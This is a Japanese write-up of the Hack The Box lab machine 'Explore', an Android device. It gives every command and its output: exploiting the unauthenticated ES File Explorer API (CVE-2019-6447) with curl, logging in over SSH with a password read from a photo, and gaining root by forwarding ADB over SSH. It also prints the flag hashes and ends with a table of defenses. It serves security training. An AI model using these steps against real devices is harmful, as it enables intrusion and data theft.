Hack The BoxのWriteup(Explore)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Explore — 全実行コマンド・実行結果レポート
Nmap スキャン
2222/ssh, 42135, 59777
→
CVE-2019-6447
ES File Explorer 無認証API
→
listPics + GET creds.jpg
手書きメモ画像
→
kristi:Kr1sT!5h@Rp3xPl0r3!
→
SSH :2222 (PTY) → user.txt ✓
→
SSHポートフォワード
:5555 → ADB
→
adb root
adbdをrootとして再起動
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.238.59
nmap -sV -sC -p 2222,42135,59777 10.129.238.59
RESULT
PORT      STATE SERVICE VERSION
2222/tcp  open  ssh     Banana Studio SSH server app (net.xnano.android.sshserver.tv) (protocol 2.0)
| ssh-hostkey:
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
42135/tcp open  http    ES File Explorer Name Response httpd
59777/tcp open  http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
Service Info: OS: Android; Device: phone; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: OS検出でAndroid端末であることが判明。 ポート2222はnet.xnano.android.sshserver.tv(Banana Studio製の SSHサーバーアプリ)、ポート59777はnmapには誤って”Minecraft Bukkit”と 識別されているが、実際にはES File Explorerアプリの 無認証HTTP APIサーバーである(両者はレスポンス形式が似ているため よく誤認識される既知の事象)。ポート42135はES File Explorerの ファイル共有名前解決用の補助サービス。

各ポートへの簡易アクセス確認

BASH
curl -s http://10.129.238.59:42135/
curl -s http://10.129.238.59:59777/
ℹ️
ポート59777はES File Explorerの独自JSON APIであり、特定のJSONボディを POSTすることでデバイス上のファイル一覧取得・ダウンロードが 認証なしで可能になる(CVE-2019-6447)。
PHASE 2

CVE-2019-6447 — ES File Explorer 無認証HTTP APIの悪用

脆弱性の仕組み

NOTE
ES File Explorer (バージョン 4.1.9.7.4 以前) は「ネットワーク越しに
PCからスマホ内のファイルを閲覧・操作できる」機能のため、起動中は
ポート59777で簡易HTTP JSON APIを常時リッスンする。このAPIには
一切の認証機構が実装されておらず、同一ネットワーク上の誰でも
以下のようなコマンドを送信してファイル一覧取得・ダウンロード・
アプリ情報取得などが可能(CVE-2019-6447)。

重要な実装上の注意点: このAPIのJSONボディは一般的なJSONの文法とは
異なり、"command"の値が文字列でもダブルクォートで囲まれていない
(例: { "command":listPics } であり { "command":"listPics" } ではない)。
Metasploitモジュールもこの非標準形式をそのまま送信している。

listPics でDCIM内の画像一覧を取得

HTTP (本検証で実際に送信したリクエスト)
POST / HTTP/1.1
Host: 10.129.238.59:59777
Content-Type: application/json
Content-Length: 24

{ "command":listPics }
BASH (curlでの再現)
curl -s -X POST http://10.129.238.59:59777/ \
  -H "Content-Type: application/json" \
  --data-raw '{ "command":listPics }'
RESULT (本検証の実際のレスポンスより、4件検出)
{"photos":[
  {"location":"/storage/emulated/0/DCIM/creds.jpg", ...},
  {"location":"/storage/emulated/0/DCIM/...", ...},
  ...
]}
✅
認証なしでファイル一覧取得成功! DCIMフォルダ内に creds.jpgという、いかにも資格情報らしき名前の画像ファイルを発見。

getFile でcreds.jpgをダウンロード

NOTE
ファイルの実体ダウンロードは listPics とは異なり、POSTではなく
対象パスへの単純な GET リクエストで行う(getFile相当の動作)。
BASH
curl -s -o creds.jpg \
  "http://10.129.238.59:59777/storage/emulated/0/DCIM/creds.jpg"
file creds.jpg
RESULT
creds.jpg: JPEG image data, ... 4032x3024, components 3
(約1.2MB、iPhone XR で撮影されたノートの写真)
PHASE 3

手書き資格情報の解読 & user.txt取得

creds.jpgの内容確認

NOTE (画像を直接目視確認した内容)
罫線ノートに手書きで以下の2行が記載されている:

  1行目: Kristi
  2行目: Kr1sT!5h@Rp3xPl0r3!

l33tspeak的な読み替え(1→i, 0→o 等)を踏まえると、ユーザー名は
"kristi"、パスワードは見たままの文字列("Kr1sT!5h@Rp3xPl0r3!")と判断できる。
OCR(tesseract)でも自動抽出を試みたが、手書き文字かつ記号(!@)を含む
複雑な文字列のため自動認識の精度が低く、本検証では目視での読み取りを
採用した。
BASH (OCRを試みる場合の参考コマンド)
tesseract creds.jpg stdout --psm 6
⚠️
OCR精度の注意点: 手書き文字、特に類似形状の文字 (1とl、0とO)を意図的に使ったパスワードは OCRでの自動抽出に失敗しやすい。本検証でも自動抽出では不十分な結果 しか得られず、最終的に画像を直接確認してユーザー名 kristi・パスワードKr1sT!5h@Rp3xPl0r3!を読み取った。

SSH接続(Banana Studio SSHサーバー特有の制約)

NOTE
ポート2222で動くBanana Studio製SSHサーバーアプリには2つの特有の制約がある:

  1. ホスト鍵として ssh-rsa しか提供しない
     → 最近のOpenSSHクライアントはデフォルトで ssh-rsa を拒否するため
       明示的に許可オプションを指定する必要がある
       (-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa)

  2. exec チャンネルをサポートしない
     → "ssh user@host command" のような非対話コマンド実行はすべて
       "exec request failed on channel 0" で失敗する
     → 対話用PTY(-tオプション)を割り当て、expect/pexpect等で
       パスワードプロンプトとシェルプロンプトを待ち受けながら
       コマンドを送信する必要がある
BASH
ssh -t -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o PubkeyAuthentication=no -p 2222 kristi@10.129.238.59
RESULT
kristi@10.129.238.59's password: Kr1sT!5h@Rp3xPl0r3!
:/ $
✅
SSHログイン成功! Androidのシェル(:/ $プロンプト)に 接続できた。

user.txt取得

BASH (SSHシェル上で実行)
:/ $ cat /storage/emulated/0/user.txt
RESULT
f32017174c7c7e8f50c6da52891ae250
user.txt — kristi (ストレージ直下)
f32017174c7c7e8f50c6da52891ae250
PHASE 4

SSHポートフォワード経由 ADB root化 — root.txt取得

ADBポート(5555)の状況確認

NOTE
nmapの全ポートスキャンではTCP/5555(ADB: Android Debug Bridge)は
filteredと表示され、外部から直接到達できない。しかしターゲット内部
(localhost)ではADBデーモン(adbd)が待受状態であるため、既に確立済みの
SSHセッションをポートフォワードの踏み台として使い、外部からあたかも
localhostのADBへ接続しているかのようにトンネルする。
BASH (別ターミナルでトンネルを張る、Banana StudioはSSHの-N転送には対応)
ssh -N -L 5555:127.0.0.1:5555 \
  -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o PubkeyAuthentication=no -p 2222 kristi@10.129.238.59
# パスワード入力: Kr1sT!5h@Rp3xPl0r3!
# (このターミナルはトンネルを維持したまま保持しておく)

adb connect → adb root

BASH (別ターミナルでKali側のadbクライアントを使用)
adb kill-server
adb start-server
adb connect 127.0.0.1:5555
adb -s 127.0.0.1:5555 root
RESULT (本検証の実際の出力)
$ adb connect 127.0.0.1:5555
connected to 127.0.0.1:5555

$ adb -s 127.0.0.1:5555 root
restarting adbd as root
ℹ️
複数のADBデバイス(ローカルのエミュレータ等)が同時に接続されている 環境では、-s 127.0.0.1:5555でトンネル経由のデバイスを明示的に 指定しないとmore than one device/emulatorエラーになる点に注意。 adb rootでadbdが再起動されるため、数秒待ってから adb connectをもう一度実行して再接続する必要がある。

root権限の確認 & root.txt取得

BASH
adb connect 127.0.0.1:5555
adb -s 127.0.0.1:5555 shell whoami
adb -s 127.0.0.1:5555 shell cat /data/root.txt
RESULT (本検証の実際の出力)
$ adb -s 127.0.0.1:5555 shell whoami
root

$ adb -s 127.0.0.1:5555 shell cat /data/root.txt
f04fc82b6d49b41c9b08982be59338c5
✅
root化成功! Android端末のADBデーモンは開発者モード/ rootable buildではadb root要求を受け入れ、root権限で 自分自身を再起動する。これによりシステム全体(/data配下含む)への フルアクセスが得られる。
root.txt — ADB root (/data/root.txt)
f04fc82b6d49b41c9b08982be59338c5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — kristi (/storage/emulated/0/user.txt)
f32017174c7c7e8f50c6da52891ae250
root.txt — ADB root (/data/root.txt)
f04fc82b6d49b41c9b08982be59338c5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2019-6447 ES File Explorer 4.1.9.7.4以前 (ポート59777) 認証なしでのファイル列挙・任意ファイル読取 Critical { “command”:listPics } をPOSTしてDCIM内ファイルを列挙、GETでcreds.jpgを直接ダウンロード
手書き資格情報の端末内保管 DCIM/creds.jpg (写真として保存) 資格情報の漏洩 Medium 画像を目視確認してユーザー名/パスワードを読み取り
ADBデバッグ機能の有効化(rootable) Androidデバイス全体 権限昇格 (root) High SSHポートフォワードで内部限定ADBポートへ到達し adb root を要求

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap2222/ssh(Banana Studio), 42135, 59777(ES File Explorer)
2情報漏洩CVE-2019-6447 (listPics + GET)creds.jpg (手書きメモ画像)
3資格情報取得+横移動画像の目視確認 → SSH(PTY必須)user.txt (kristi)
4権限昇格SSHポートフォワード → adb rootroot.txt

学んだ教訓 & 防御策

問題点防御策
ES File Explorerの共有HTTP APIが認証なしで有効化されたまま稼働している ファイル共有系アプリの常駐HTTPサーバーは使用後に必ず無効化する。既知の脆弱バージョンは速やかに最新版へ更新する。
パスワード等の機密情報を手書きメモとして写真保存し、端末内に残している 資格情報は暗号化パスワードマネージャーで管理し、平文のメモ・画像として端末やクラウド同期ストレージに残さない。
ADBデバッグモード(rootable build)が有効なまま一般利用されている 本番運用端末ではADBデバッグを無効化する。開発用途であっても信頼できないネットワークに接続する際は無効化を徹底する。
SSHサーバーアプリ(Banana Studio)がデフォルト状態で外部から到達可能なポートにbindされている 不要なリモートアクセス系アプリは削除し、どうしても必要な場合は公開鍵認証限定・ファイアウォールでの送信元制限を行う。
HackTheBox: Explore | 完全攻略レポート